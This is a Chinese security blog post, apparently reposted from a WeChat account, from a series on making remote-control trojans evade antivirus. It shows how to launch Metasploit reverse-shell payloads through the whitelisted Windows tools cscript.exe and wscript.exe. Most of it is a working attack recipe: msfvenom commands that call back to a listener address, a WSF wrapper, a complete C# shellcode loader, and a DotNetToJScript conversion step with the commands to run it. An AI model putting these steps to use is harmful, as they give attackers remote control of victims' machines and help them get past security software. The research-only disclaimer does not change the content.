远控免杀专题(62)-白名单CScript/WScript执行payload

admin 2025年1月6日11:55:16评论15 views字数 2879阅读9分35秒阅读模式
 

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

一、CScript/WScript介绍

系统文件cscript.exe是存放在Windows系统文件夹中的重要文件,通常情况下是在安装操作系统过程中自动创建的,对于系统正常运行来说至关重要,Windows Script Host引擎在cscript.exe来寻找和连接脚本的运行库,最常见的有VBScript和JavaScript。

wscript全称“Windows Scripting Host”,是一种批次语言/自动执行工具——它所对应的程序“wscript.exe”是一个脚本语言解释器,位于C:WINDOWSsystem32目录下,正是它才使得脚本可以被执行,就象执行批处理一样,可以拿来执行.wsh,.vbs,.js等。

WScript是一个窗口化的版本;CScript是一个命令行的版本。两种版本都可以运行任何脚本。二者之间的区别是,窗口化版本(WScript)使用一个弹出对话框来显示文本输出消息,而命令行版本(CSCript)通过命令行程序所见的、常规的“标准输出”方法来显示文本。

CScript/WScript可以用来执行vbs和js等脚本,是否能达到免杀的目的取决于执行的脚本本身的免杀能力。

二、使用CScript/WScript执行vbs反弹脚本

使用msfvenom生成vbs脚本的反弹木马。

msfvenom -p windows/meterpreter/reverse_tcp  LHOST=172.16.100.207 lport=4444 -f vbs > TIDE.vbs

远控免杀专题(62)-白名单CScript/WScript执行payload

使用cscript.exe执行生成的vbs脚本。

cscript.exe TIDE.vbs

 

反弹成功。

 

使用WScript.exe执行vbs反弹脚本,可以见到和cscript.exe相比命令行中没有文本输出信息。

WScript.exe TIDE.vbs

 

msf上线成功。

 

三、使用CScript/WScript执行wsf反弹脚本

wsf文件是一种windows脚本文件,是一个包含可扩展标记语言(XML)代码的文本文档。把msf生成的反弹vbs代码放入到<script>标签中。

<package><job  id="IncludeExample">     <script language="VBScript">                               #vbs代码     </script></job></package>

远控免杀专题(62)-白名单CScript/WScript执行payload

使用cscript.exe执行wsf脚本。

cscript.exe TIDE.wsf

远控免杀专题(62)-白名单CScript/WScript执行payload

反弹成功。

 

使用WScript.exe执行wsf脚本。

WScript.exe TIDE.wsf

远控免杀专题(62)-白名单CScript/WScript执行payload

msf上线成功。

 

四、使用CScript/WScript执行js反弹脚本

首先需要制作一个js反弹文件,和专题39方法一致。

1、生成基于csharp的shellcode, 我们要借助于 C# 来执行生成的 Payload,所以格式要选择为 csharp。

 msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f csharp LHOST=10.211.55.2 LPORT=3333 -o shell_x86.csharp

2、然后在vs2017中创建C#的Console⼯程,.Net版本建议2.0,这样兼容性好⼀一 些,如果选了了net 4.0。其他电脑上没有装4.0的话可能就没法运⾏了。代码如下,把 shell_x86.csharp 内容放到相应MsfPayload位置。

using System;using System.Threading;using System.Runtime.InteropServices;namespace MSFWrapper{    public class Program    {        public Program()        {           RunMSF();        }        public static void RunMSF()        {            byte[] MsfPayload = {            //Paste your Payload here        };            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);            Thread.Sleep(2000);        }        public static void Main()        {        }        [DllImport("kernel32.dll")]        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);        [DllImport("kernel32.dll")]        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);    }}

然后将先前生成的 Payload 的黏贴到代码中注释为“//Paste your Payload here”的地方。保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”, 然后保存。增加 Release 版的 x86 编译对象,然后生成了ConsoleApp2.exe。

 

3、将exe转换为脚本⽂文件 下载 DotNetToJScript: https://raw.githubusercontent.com/TideSec/BypassAntiVi rus/master/tools/DotNetToJScript.zip

将上⾯⽣成的 ConsoleApp2.exe 复制到DotNetToJScript⽬目录下,执⾏命令生成TIDE.js文件

DotNetToJScript.exe -l=JScript -o=TIDE.js -c=MSFWrapper.Program ConsoleApp2.exe

使用cscript/WScript执行

cscript.exe  MSFWrapper.jsWScript.exe MSFWrapper.js

成功上线

远控免杀专题(62)-白名单CScript/WScript执行payload

五、总结

cscript/WScript无论是加载vbs,还是wsf和js,都会被360和火绒查杀到,因此想要绕过杀软还需要对vbs,和js脚本进行免杀处理。

远控免杀专题(62)-白名单CScript/WScript执行payload

vt查杀率32/57

 

六、参考资料

免杀 MSF Windows Payload 的方法与实践

 

原文始发于微信公众号(白帽子):远控免杀专题(62)-白名单CScript/WScript执行payload

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日11:55:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   远控免杀专题(62)-白名单CScript/WScript执行payloadhttps://cn-sec.com/archives/1218119.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息